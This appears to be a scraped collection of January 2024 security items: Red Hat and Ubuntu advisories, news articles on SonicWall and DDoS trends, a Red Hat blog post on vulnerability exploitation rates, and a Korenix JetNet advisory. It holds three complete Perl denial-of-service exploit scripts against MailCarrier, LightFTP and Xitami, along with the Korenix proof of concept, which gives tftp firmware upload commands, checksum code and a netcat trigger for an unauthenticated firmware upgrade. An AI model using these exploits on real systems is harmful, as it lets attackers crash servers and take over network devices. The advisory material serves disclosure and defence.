Red Hat Security Advisory 2024-0255-03 - An update for.NET 6.0 is now available for Red Hat Enterprise Linux 7. Issues addressed include bypass, denial of service, and information leakage vulnerabilities.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_0255.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: .NET 6.0 security, bug fix, and enhancement updateAdvisory ID:        RHSA-2024:0255-03Product:            .NET Core on Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:0255Issue date:         2024-01-15Revision:           03CVE Names:          CVE-2024-0056====================================================================Summary: An update for .NET 6.0 is now available for Red Hat Enterprise Linux 7.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:.NET is a managed-software framework. It implements a subset of the .NET framework APIs and several new APIs, and it includes a CLR implementation.New versions of .NET that address a security vulnerability are now available. The updated versions are .NET SDK 6.0.126 and .NET Runtime 6.0.26.The following packages have been upgraded to a later upstream version: rh-dotnet60-dotnet (6.0.126). (BZ#2255300)Security Fix(es):* dotnet: Information Disclosure: MD.SqlClient(MDS) & System.data.SQLClient (SDS) (CVE-2024-0056)* dotnet: X509 Certificates - Validation Bypass across Azure (CVE-2024-0057)* dotnet: .NET Denial of Service Vulnerability (CVE-2024-21319)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-0056References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2255384https://bugzilla.redhat.com/show_bug.cgi?id=2255386https://bugzilla.redhat.com/show_bug.cgi?id=2257566

Red Hat Security Advisory 2024-0255-03

Ubuntu Security Notice 6582-1 - Several security issues were discovered in the WebKitGTK Web and JavaScript engines. If a user were tricked into viewing a malicious website, a remote attacker could exploit a variety of issues related to web browser security, including cross-site scripting attacks, denial of service attacks, and arbitrary code execution.

==========================================================================  
Ubuntu Security Notice USN-6582-1  
January 15, 2024

webkit2gtk vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 23.10  
- Ubuntu 23.04  
- Ubuntu 22.04 LTS

Summary:

Several security issues were fixed in WebKitGTK.

Software Description:  
- webkit2gtk: Web content engine library for GTK+

Details:

Several security issues were discovered in the WebKitGTK Web and JavaScript  
engines. If a user were tricked into viewing a malicious website, a remote  
attacker could exploit a variety of issues related to web browser security,  
including cross-site scripting attacks, denial of service attacks, and  
arbitrary code execution.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 23.10:  
   libjavascriptcoregtk-4.0-18     2.42.4-0ubuntu0.23.10.1  
   libjavascriptcoregtk-4.1-0      2.42.4-0ubuntu0.23.10.1  
   libjavascriptcoregtk-6.0-1      2.42.4-0ubuntu0.23.10.1  
   libwebkit2gtk-4.0-37            2.42.4-0ubuntu0.23.10.1  
   libwebkit2gtk-4.1-0             2.42.4-0ubuntu0.23.10.1  
   libwebkitgtk-6.0-4              2.42.4-0ubuntu0.23.10.1

Ubuntu 23.04:  
   libjavascriptcoregtk-4.0-18     2.42.4-0ubuntu0.23.04.1  
   libjavascriptcoregtk-4.1-0      2.42.4-0ubuntu0.23.04.1  
   libjavascriptcoregtk-6.0-1      2.42.4-0ubuntu0.23.04.1  
   libwebkit2gtk-4.0-37            2.42.4-0ubuntu0.23.04.1  
   libwebkit2gtk-4.1-0             2.42.4-0ubuntu0.23.04.1  
   libwebkitgtk-6.0-4              2.42.4-0ubuntu0.23.04.1

Ubuntu 22.04 LTS:  
   libjavascriptcoregtk-4.0-18     2.42.4-0ubuntu0.22.04.1  
   libjavascriptcoregtk-4.1-0      2.42.4-0ubuntu0.22.04.1  
   libjavascriptcoregtk-6.0-1      2.42.4-0ubuntu0.22.04.1  
   libwebkit2gtk-4.0-37            2.42.4-0ubuntu0.22.04.1  
   libwebkit2gtk-4.1-0             2.42.4-0ubuntu0.22.04.1  
   libwebkitgtk-6.0-4              2.42.4-0ubuntu0.22.04.1

This update uses a new upstream release, which includes additional bug  
fixes. After a standard system update you need to restart any applications  
that use WebKitGTK, such as Epiphany, to make all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6582-1  
   CVE-2023-42883

Package Information:  
   https://launchpad.net/ubuntu/+source/webkit2gtk/2.42.4-0ubuntu0.23.10.1  
   https://launchpad.net/ubuntu/+source/webkit2gtk/2.42.4-0ubuntu0.23.04.1  
   https://launchpad.net/ubuntu/+source/webkit2gtk/2.42.4-0ubuntu0.22.04.1

Ubuntu Security Notice USN-6582-1

MailCarrier version 2.51 remote denial of service exploit.

    #!/usr/bin/perluse IO::Socket::INET# Exploit Title: MailCarrier 2.51 - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 16 january 2024# Tested Version: MailCarrier 2.51# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)#1. Description#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.#When authenticating to the POP3 server with a long USERNAME or a USERNAME with a large number of characters for the POP3 server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.#2. Proof of Concept - PoC    $sis="$^O";    if ($sis eq "windows"){      $cmd="cls";    } else {      $cmd="clear";    }    system("$cmd");        intro();    main();        print "[+] Exploiting... \n";    my $buf  = "\x41" x 6000;    my $s = IO::Socket::INET->new(        PeerAddr => $ip,        PeerPort => $port,        Proto    => 'tcp'    ) or die "Unable to connect: $!\n";    $s->recv(my $data, 1024);    # Grab banners (if any)    $s->send('USER ' . $buf . "\r\n");    $s->recv(my $response, 1024);    $s->send("QUIT\r\n");    $s->close();    print "[+] Done - Exploited success!!!!!\n\n";     sub intro {      print q {                              ,--,                       _ ___/ /\|                   ,;'( )__, )  ~                  //  //   '--;                   '   \     | ^                       ^    ^      [+] MailCarrier 2.51 - Denial of Service (DoS)      [*] Coded by Fernando Mengali      [@] e-mail: fernando.mengalli@gmail.com      }  }  sub main {our ($ip, $port) = @ARGV;      unless (defined($ip) && defined($port)) {        print "       \nUsage: $0 <ip> <port>                 \n";        exit(-1);      }  }#3. Solution/ How to fix:# This version product is deprecated

MailCarrier 2.51 Denial Of Service

LightFTP version 1.1 remote denial of service exploit.

#!/usr/bin/perl

use Net::FTP;

# Exploit Title: LightFTP 1.1 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 15 january 2024  
# Vendor Homepage:  N/A  
# Notification vendor: No reported  
# Tested Version: LightFTP 1.1  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.  
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the FTP server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

        print "[+] Exploiting... \n";

    my $payload = "\x41"x500;    

    my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@";

    $ftp->login($payload,"anonymous") or die "[+] Possibly exploited!";              

    $ftp->quit;

    print "[+] Done - Exploited success!!!!!\n\n";

     sub intro {  
      print q {

                              ,--,  
                       _ ___/ /\|  
                   ,;'( )__, )  ~  
                  //  //   '--;   
                  '   \     | ^  
                       ^    ^

      [+] LightFTP 1.1 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

#3. Solution/ How to fix:

# This version product is deprecated

LightFTP 1.1 Denial Of Service

Over 178,000 SonicWall firewalls exposed over the internet are exploitable to at least one of the two security flaws that could be potentially exploited to cause a denial-of-service (DoS) condition and remote code execution (RCE).
“The two issues are fundamentally the same but exploitable at different HTTP URI paths due to reuse of a vulnerable code pattern,” Jon Williams, a senior security

Vulnerability / Network Security

Over 178,000 SonicWall firewalls exposed over the internet are exploitable to at least one of the two security flaws that could be potentially exploited to cause a denial-of-service (DoS) condition and remote code execution (RCE).

"The two issues are fundamentally the same but exploitable at different HTTP URI paths due to reuse of a vulnerable code pattern," Jon Williams, a senior security engineer at Bishop Fox, said in a technical analysis shared with The Hacker News.

The vulnerabilities in question are listed below -

*   **CVE-2022-22274** (CVSS score: 9.4) - A stack-based buffer overflow vulnerability in the SonicOS via HTTP request allows a remote, unauthenticated attacker to cause DoS or potentially result in code execution in the firewall.

*   **CVE-2023-0656** (CVSS score: 7.5) - A stack-based buffer overflow vulnerability in the SonicOS allows a remote, unauthenticated attacker to cause DoS, which could result in a crash.

While there are no reports of exploitation of the flaws in the wild, a proof-of-concept (PoC) for CVE-2023-0656 was published by the SSD Secure Disclosure team April 2023.

The cybersecurity firm revealed that the issues could be weaponized by bad actors to trigger repeated crashes and force the appliance to get into maintenance mode, requiring administrative action to restore normal functionality.

"Perhaps most astonishing was the discovery that over 146,000 publicly-accessible devices are vulnerable to a bug that was published almost two years ago," Williams said.

The development comes as watchTowr Labs uncovered multiple stack-based buffer overflow flaws in the SonicOS management web interface and SSL VPN portal that could lead to a firewall crash.

To safeguard against possible threats, it's recommended to update to the last version and ensure that the management interface isn't exposed to the internet.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Alert: Over 178,000 SonicWall Firewalls Potentially Vulnerable to Exploits - Act Now

Drupal contains a vulnerability with improper handling of structural elements. If this vulnerability is exploited, an attacker may be able to cause a denial-of-service (DoS) condition.

**Drupal Denial of Service vulnerability**

Moderate severity GitHub Reviewed Published Jan 16, 2024 to the GitHub Advisory Database • Updated Jan 19, 2024

GHSA-62cf-jvpp-48q6: Drupal Denial of Service vulnerability

This is the second part of Vincent Danen’s “Patch management needs a revolution” series. The first post can be read here.When I started working in the security field over 20 years ago, CVE (Common Vulnerabilities and Exposures) had just been created. In 1999, MITRE, a US-based Federally Funded Research and Development Corporation (FFRDC) was established to advance national security, creating the CVE program as a way of cataloging vulnerabilities so that any single vulnerability could be distinguished from another. It was a few years before it gained wider adoption and longer yet to be co

_This is the second part of Vincent Danen’s “Patch management needs a revolution” series. The first post can be read_ _here__._

When I started working in the security field over 20 years ago, CVE (Common Vulnerabilities and Exposures) had just been created. In 1999, MITRE, a US-based Federally Funded Research and Development Corporation (FFRDC) was established to advance national security, creating the CVE program as a way of cataloging vulnerabilities so that any single vulnerability could be distinguished from another. It was a few years before it gained wider adoption and longer yet to be considered more or less mainstream (although the truth is, even today, not every vulnerability has an associated CVE, nor is every CVE an actual vulnerability!). It was certainly miles ahead of what we used to do; back then if there were two vulnerabilities in sendmail you had to refer to them by the vulnerable function or, if you were lucky, a Bugtraq ID (or BID) had been assigned.

It’s worth looking at the number of vulnerabilities that were being discovered back then. In 1999, there were 894 vulnerabilities in the CVE database. For 2023 that number is over 29000 entries. You can see that progression with the CVE Details data by year. That’s more than a 3100% increase over 24 years. What was 74 vulnerabilities per month, on average, is now over 2,400 per month. That’s a significant increase!

Now this can be attributed to a number of factors, but these are likely the most significant: the sheer volume of software due to the swift, exponential growth of advanced and complex technology and the digital transformation of data and processes that were once manual. If we compared just lines of code from then to now, the increase would be staggering and still wouldn’t account for the amount of changed code. There have been some attempts to quantify just how much code has been written: Medium estimates 93B lines of code each year, and a visualization of lines of code in software shows just how complex software has become. The Linux kernel itself, based on the Linux Foundation’s 2020 Linux Kernel History Report shows how much code is created and changes in just one (albeit very complex) piece of software. And what this code now processes is increasingly larger and more complex; in short we are handling more data, and more important data, than ever before and creating new technology to manage it more efficiently.

Now here’s where things become more interesting, at least to me. If we refer back to NISTIR 5153, published in 1993, there appears to be no explicit mention of patching or updating software. Most of it addresses restrictions around the use of software, proper configuration, and monitoring. At some point, patching systems became a best practice – and it is! If updated software is available, it is absolutely the prudent thing to apply the software update, particularly when it fixes a security issue. This is common knowledge and is based on the premise that risk is reduced when a security vulnerability is patched.

**Vulnerability exploitation**

There are four general states of a flaw in software: not affected, affected but not vulnerable, vulnerable, and exploited. A flaw might affect a particular version of software and that same software, before it was introduced or after it was fixed, is not affected. The software might have the flaw present in the code, but is not used in a way that makes it vulnerable – this is pertinent in software with dependencies that, while including a dependency with a flaw, might not use it in a way that makes the dependent software vulnerable. Of course, the software could very well use that code in the particular way that makes the flaw vulnerable to exploitation, and the final state is the software is known to be actively exploited.

More often than not, flaws are discussed in terms of either affected or vulnerable – in other words only whether or not the vulnerable code is present. What isn’t widely discussed are exploitation rates. Given a piece of vulnerable software, what is the probability that it will be exploited? Demonstrably these are quite low and we can validate that with public information. One great source of information is CISA’s KEV or Known Exploited Vulnerabilities list. This list is not exhaustive, but it should be representative, given it’s created by the US Cybersecurity and Infrastructure Security Agency. I’ll make the assertion that it is as trustworthy, if not more so, than the NIST National Vulnerability Database, another US government database. And since most scanning tools and users trust the NVD implicitly, we’ll extend the same courtesy to the KEV.

VulnCheck provided a great breakdown of the KEV in their 2022 Exploited Vulnerability Report and I’ll highlight some of the specific findings here. Read the report for all the details though, it’s not long and worth reading.

From 2002 to 2021 there were 311 known exploited vulnerabilities on the KEV list. According to CVE Details, in that same timeframe, there were nearly 163,000 CVE’s assigned, most (but not all) being vulnerabilities.

2022 had a significant leap in new KEVs by adding 557 to the list. 2022 also had 25,082 CVEs added. At a first glance, we could assume an exploitation rate of 2.2% but only 93 of those 557 were for a 2022 CVE, or 17% of all the KEVs added that year. That means the actual exploitation rate of a vulnerability, exploited in the same year it was found, was actually 93 out of 25,082, or 0.37%. The majority of the KEVs listed in 2022 were for vulnerabilities made public in prior years, even as far back as 2002. Incidentally, this highlights the importance of applying available patches and upgrading software when patches are available!

CISA got serious about the KEV in 2021 due to their Binding Operational Directive 22-01. A lot of what was added in 2022 were for things we’re pretty sure were being exploited well before then. Either way, the large jump in 2022 isn’t the significant part (although it’s great to see the additions). The significance is that only 0.37% of reported vulnerabilities were known to be exploited within the same calendar year. CISA acknowledges in this same report that “based on a study of historical vulnerability data dating back to 2019, less than 4% of all known vulnerabilities have been used by attackers in the wild.”

Interestingly, a joint paper was released by a consortium, including CISA, NSA and FBI, advising about the top exploited vulnerabilities in 2022. The paper highlighted that exploitation of unpatched systems, when a patch was available, was the top contributor to security events. They note that, of the more than 25,000 vulnerabilities reported in 2022, only five are within the top 12 software vulnerabilities exploited during the same calendar year. The rest? Older vulnerabilities that had patches available and were not applied. In the top 12, the only open source software was Log4j (rated Critical). Of the other 30 listed as commonly exploited, only seven are open source (affecting Spring Cloud (Critical), Zimbra (Important and Moderate), Apache httpd (Important) and Log4j (Moderate)). Of these 42, only eight affected open source, and only two of them were rated Moderate.

For Red Hat products specifically, and as per the 2022 Red Hat Product Security Risk Report, we saw exploitation of 0.4% of the total vulnerabilities affecting Red Hat products, the bulk of these in Critical and Important vulnerabilities. Of the nearly 1,400 Low and Moderate CVEs affecting our products, only two were known to be exploited.

Based on the 121 KEVs for 2023, against 23,745 CVEs (as per National Vulnerability Database) the exploitation rates are the same: only 0.51% of the 2023 CVEs in the NVD have an associated exploit. Exploitation rates against Red Hat software in 2023 will be available when the 2023 Red Hat Product Security Risk Report is published in February.

From this we can reasonably conclude that exploitation of known vulnerabilities is extremely low. It’s not to say that it doesn’t happen (it does), but the occurrences are quite limited. We can also determine, again based on our risk report, that those vulnerabilities rated Critical and Important are more likely to be exploited. In 2022, that was 10.5% and 1.1% respectively, in terms of exploitation rates. That said, if those vulnerabilities do get exploited, the impact could be much more severe. This is because Critical and Important vulnerabilities are those that lead to privilege escalation, can be exploited remotely without authentication, may not require user interaction and lead to a system compromise or denial of service. Red Hat uses an industry-standard four-point rating scale that objectively determines severity based on these characteristics.

Now we’ve looked at the exploitation rate of vulnerabilities even in the face of the constant deluge of potential vulnerabilities. It should be easy to look to trusted third-parties and research agencies for a singular score that highlights how severe a given problem might be, right? It’s…not quite that easy and something I’ll tackle in my next post.

Vincent Danen lives in Canada and is the Vice President of Product Security at Red Hat. He joined Red Hat in 2009 and has been working in the security field, specifically around Linux, operating security and vulnerability management, for over 20 years.

Read full bio

Patch management needs a revolution, part 2: The flood of vulnerabilities

Korenix JetNet Series allows TFTP without authentication and also allows for unauthenticated firmware upgrades.

    CyberDanube Security Research 20240109-0-------------------------------------------------------------------------------                title| Multiple Vulnerabilities              product| Korenix JetNet Series   vulnerable version| See "Vulnerable versions"        fixed version| -           CVE number| CVE-2023-5376, CVE-2023-5347               impact| High             homepage| https://www.korenix.com/                found| 2023-08-31                   by| S. Dietz (Office Vienna)                     | CyberDanube Security Research                     | Vienna | St. Pölten                     |                     | https://www.cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"Korenix Technology, a Beijer group company within the Industrial Communicationbusiness area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions.With decades of experiences in the industry, we have developed various productlines [...].Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customerbase covers different Sales channels, including end-customers, OEMs, systemintegrators, and brand label partners. [...]"Source: https://www.korenix.com/en/about/index.aspx?kind=3Vulnerable versions-------------------------------------------------------------------------------Tested on emulated Korenix JetNet 5310G / v2.6All vulnerable models/versions according to vendor:JetNet 4508 (4508i-w V1.3, 4508 V2.3, 4508-w V2.3)JetNet 4508f, 4508if (4508if-s V1.3,4508if-m V1.3, 4508if-sw V1.3,       4508if-mw V1.3, 4508f-m V2.3, 4508f-s V2.3, 4508f-mw V2.3,       4508f-sw V2.3)JetNet 5620G-4C V1.1JetNet 5612GP-4F V1.2JetNet 5612G-4F V1.2JetNet 5728G (5728G-24P-AC-2DC-US V2.1, 5728G-24P-AC-2DC-EU V2.0)JetNet 528Gf (6528Gf-2AC-EU V1.0, 6528Gf-2AC-US V1.0, 6528Gf-2DC24 V1.0,       6528Gf-2DC48 V1.0, 6528Gf-AC-EU V1.0, 6528Gf-AC-US V1.0)JetNet 6628XP-4F-US V1.1JetNet 6628X-4F-EU V1.0JetNet 6728G (6728G-24P-AC-2DC-US V1.1, 6728G-24P-AC-2DC-EU V1.1)JetNet 6828Gf (6828Gf-2DC48 V1.0, 6828Gf-2DC24 V1.0, 6828Gf-AC-DC24-US V1.0,       6828Gf-2AC-US V1.0, 6828Gf-AC-US V1.0, 6828Gf-2AC-AU V1.0,       6828Gf-AC-DC24-EU V1.0, 6828Gf-2AC-EU V1.0)JetNet 6910G-M12 HVDC V1.0JetNet 7310G-V2 2.0JetNet 7628XP-4F-US V1.0, 7628XP-4F-US V1.1, 7628XP-4F-EU V1.0,       7628XP-4F-EU V1.1JetNet 7628X-4F-US V1.0, 7628X-4F-EU V1.0JetNet 7714G-M12 HVDC V1.0Vulnerability overview-------------------------------------------------------------------------------1) TFTP Without Authentication (CVE-2023-5376)The available tftp service is accessable without user authentication. Thisallows the user to upload and download files to the restricted "/home" folder.2) Unauthenticated Firmware Upgrade (CVE-2023-5347)A critical security vulnerability has been identified that may allow anunauthenticated attacker to compromise the integrity of a device or cause adenial of service (DoS) condition. This vulnerability resides in the firmwareupgrade process of the affected system.Proof of Concept-------------------------------------------------------------------------------1) TFTP Without Authentication (CVE-2023-5376)The Linux tftp client was used to upload a firmware to the absolute path"/home/firmware.bin":# tftp $IPtftp> put exploit.bin /home/firmware.binSent 5520766 bytes in 5.7 seconds2) Unauthenticated Firmware Upgrade (CVE-2023-5347)Unauthenticated attackers can exploit this by uploading malicious firmware viaTFTP and initializing the upgrade process with a crafted UDP packet on port5010.We came to the conclusion that the firmware image consists of multiplesections. Our interpretation of these can be seen below:===============================================================================class FirmwarePart:    def init(self, name, offset, size):        self.name = name        self.offset = offset        self.size = sizefirmware_parts = [    FirmwarePart("uimage_header", 0x0, 0x40),    FirmwarePart("uimage_kernel", 0x40, 0x3c54),    FirmwarePart("gzip", 0x3c94, 0x14a000 - 0x3c94),    FirmwarePart("squashfs", 0x14a000, 0x539000 - 0x14a000),    FirmwarePart("metadata", 0x539000, 5480448 - 0x539000),]===============================================================================The squashfs includes the rootfs. Metadata includes a 4 byte checksum whichneeds to be modified when repacked. During our analysis we observed that thechecksum gets calculated over all sections except metadata. To test thisvulnerability we reimplemented the checksum calculation at offset 0x9bdc inthe binary "/bin/cmd-server2":===============================================================================#include <stdio.h>#include <stdint.h>#include <stdlib.h>int32_t check_file(const char* arg1) {    FILE* r0 = fopen(arg1, "rb");    if (!r0) {        return 0xffffffff;    }    int32_t filechecksum = 0;    int32_t last_data_size = 0;    int32_t file_size = 0;    uint8_t data_buf[4096];    int32_t data_len = 1;    while (data_len > 0) {        data_len = fread(data_buf, 1, sizeof(data_buf), r0);        if (data_len == 0) {            break;        }        int32_t counter = 0;        while (counter < (data_len >> 2)) {            int32_t byte_at_counter = *((int32_t*)(data_buf + (counter << 2)));            counter++;            filechecksum += byte_at_counter;        }        file_size += data_len;        last_data_size = data_len;    }    fclose(r0);    if (last_data_size < 0x400 || (last_data_size >= 0x400 && (file_size - 0x14a  000) > 0x5ac000)) {        return 0xffffffff;    }    data_len = 0;    while (data_len < (last_data_size >> 2)) {        int32_t r3_2 = *((int32_t*)(data_buf + (data_len << 2)));        data_len++;        filechecksum -= r3_2;    }    return filechecksum;}int main(int argc, char* argv[]) {    if (argc != 2) {        printf("Usage: %s <file_path>\n", argv[0]);        return 1;    }    int32_t result = check_file(argv[1]);    printf("0x%x\n", result);    return 0;}===============================================================================After modifying and repacking the squashfs, we calculated the checksum,patched the required bytes in the metadata section (offset 0x11b-0x11e) andinitilized the update process.===============================================================================# tftp $IPtftp> put exploit.bin /home/firmware.binSent 5520766 bytes in 5.7 seconds# echo -e "\x00\x00\x00\x1f\x00\x00\x00\x01\x01" | nc -u $IP 5010===============================================================================The output of the serial console can be observed below:===============================================================================Jan  1 00:01:00 Jan  1 00:01:00 syslog: UDP cmd is receivedJan  1 00:01:00 Jan  1 00:01:00 syslog: management vlan = sw0.0Jan  1 00:01:00 Jan  1 00:01:00 syslog: setsockopt(SO_BINDTODEVICE) No such deviJan  1 00:01:00 Jan  1 00:01:00 syslog: tlv_count = 0Jan  1 00:01:00 Jan  1 00:01:00 syslog: rec_bytes = 10Jan  1 00:01:00 Jan  1 00:01:00 syslog: command TLV_FW_UPGRADE receivedcheck firmware...checksum=b2256313, inFileChecksum=b2256313Firmware upgrading, don't turn off the switch!Begin erasing flash:.Write firmware.bin (5480448 Bytes) to flash:...Write finished...Terminating child processes...Jan  1 00:01:01 Jan  1 00:01:01 syslog: first time create tlv_chainJan  1 00:01:01 syslogd exitingFirmware upgrade success!!waiting for reboot command .......===============================================================================The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------Beijer/Korenix provided a workaround to mitigate the vulnerabilities until aproper patch is available (see "Workaround" section).Workaround-------------------------------------------------------------------------------Beijer representatives provided the following workaround for mitigating thevulnerabilities on devices of the JetNet series:"Login by terminal:Switch# configure terminalSwitch(config)# service ipscan disableSwitch(config)# tftpd disableSwitch(config)# copy running-config startup-config"Source: https://www.beijerelectronics.com/en/support/Help___online?docId=69947This commands should be used to deactivate the TFTP daemon on the device toprevent unauthenticated actors from abusing the service.Recommendation-------------------------------------------------------------------------------Regardless to the current state of the vulnerability, CyberDanube recommendscustomers from Korenix to upgrade the firmware to the latest version available.Furthermore, a full security review by professionals is recommended.Contact Timeline-------------------------------------------------------------------------------31-08-2023: Contacting Beijer Electronics Group via cs@beijerelectronics.com.31-08-2023: Receiving contact information. Send vulnerability information.26-09-2023: Asking about vulnerability status and receiving update release date.27-10-2023: Received update from contact regarding the firmware update.29-11-2023: Meeting with contact stating that it effects the whole series.31-11-2023: Meeting to discuss potential solutions.11-12-2023: Release delayed due to lack of workaround from manufacturer.21-12-2023: Manufacturer provides workaround. Release date confirmed.09-01-2024: Coordinated release of security advisory.Web: https://www.cyberdanube.comTwitter: https://twitter.com/cyberdanubeMail: research at cyberdanube dot comEOF Sebastian Dietz / @2024

Korenix JetNet Series Unauthenticated Access

Xitami version 2.5 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Xitami 2.5 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 14 january 2024  
# Vendor Homepage: https://imatix-legacy.github.io/xitami.com/  
# Download to demo: https://drive.google.com/file/d/1Uw9fCQ9T3IBqn53pS2lETUCM6zzYDSb8/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Xitami 2.5   
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=tutFcL3Gh8I

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to webserver.  
#The following request sends a large amount of data to the webserver to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

print "\t    ==> Connecting to webserver... \n\n";  
sleep(1);

    $exploit  = "A"*939;

if ($socket = IO::Socket::INET->new  
   (PeerAddr => $ip,  
   PeerPort => $port,   
   Proto => "TCP"))

       {   
    $header =  
    "GET / HTTP/1.1\r\n".  
    "Host: ".$target." \r\n".  
    "If-Modified-Since: AAAAAAAAAAAAA "." $exploit\r\n";

    print $socket $header."\r\n";  
    sleep(1);  
    close($socket);  
    }

else  
  {  
  print "[-] Connection to $target failed!\n";  
  } 

            print "\t    ==> Done! Exploited!";  
   sub intro {  
      print q {

     _________  
    |         |  
    | Exploit |==( )    //////  
    |_________|   |||   | o o|                   
                    ||| ( c  )                  ____  
                     ||| \= /                  ||   \_  
                      ||||||                   ||     |  
                      ||||||                ...||__/|-"  
                      ||||||             __|________|__  
                        |||             |______________|  
                        |||             || ||      || ||  
                        |||             || ||      || ||  
      ------------|||-------------||-||------||-||-------  
                        |__>            || ||      || ||          

                              [+] Xitami 2.5 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

Xitami 2.5 Denial Of Service

The environmental services industry witnessed an “unprecedented surge” in HTTP-based distributed denial-of-service (DDoS) attacks, accounting for half of all its HTTP traffic.
This marks a 61,839% increase in DDoS attack traffic year-over-year, web infrastructure and security company Cloudflare said in its DDoS threat report for 2023 Q4 published last week.
“This surge in cyber attacks coincided

Server Security / Cyber Attack

The environmental services industry witnessed an "unprecedented surge" in HTTP-based distributed denial-of-service (DDoS) attacks, accounting for half of all its HTTP traffic.

This marks a 61,839% increase in DDoS attack traffic year-over-year, web infrastructure and security company Cloudflare said in its DDoS threat report for 2023 Q4 published last week.

"This surge in cyber attacks coincided with COP 28, which ran from November 30th to December 12th, 2023," security researchers Omer Yoachimik and Jorge Pacheco said, describing it as a "disturbing trend in the cyber threat landscape."

The uptick in HTTP attacks targeting environmental services websites is part of a larger trend observed annually over the past few years, specifically during COP 26 and COP 27, as well as other United Nations environment-related resolutions or announcements.

"This recurring pattern underscores the growing intersection between environmental issues and cyber security, a nexus that is increasingly becoming a focal point for attackers in the digital age," the researchers said.

Despite the environmental services sector becoming a new target in Q4 2023, the cryptocurrency industry continues to be the primary casualty in terms of the volume of HTTP DDoS attack requests.

With more than 330 billion HTTP requests targeting it, the attack traffic represents more than 4% of all HTTP DDoS traffic for the quarter. Gaming and gambling and telecommunications emerged as the second and third most attacked industries.

On the other end of the spectrum are the U.S. and China, acting as the main sources of HTTP DDoS attack traffic. It's worth noting that the U.S. has been the largest source of HTTP DDoS attacks for five consecutive quarters since Q4 2022.

"Together, China and the U.S. account for a little over a quarter of all HTTP DDoS attack traffic in the world," the researchers said. "Brazil, Germany, Indonesia, and Argentina account for the next 25%."

The development comes amid a heavy onslaught of DDoS attacks targeting Palestinian banking, information technology (IT), and internet platforms following the onset of the Israel-Hamas War and Israel's counteroffensive codenamed Operation Iron Swords.

The percentage of DDoS attack traffic targeting Palestinian websites grew by 1,126% quarter-over-quarter, Cloudflare said, adding DDoS attack traffic targeting Taiwan registered a 3,370% growth amidst the Taiwanese presidential elections and rising tensions with China.

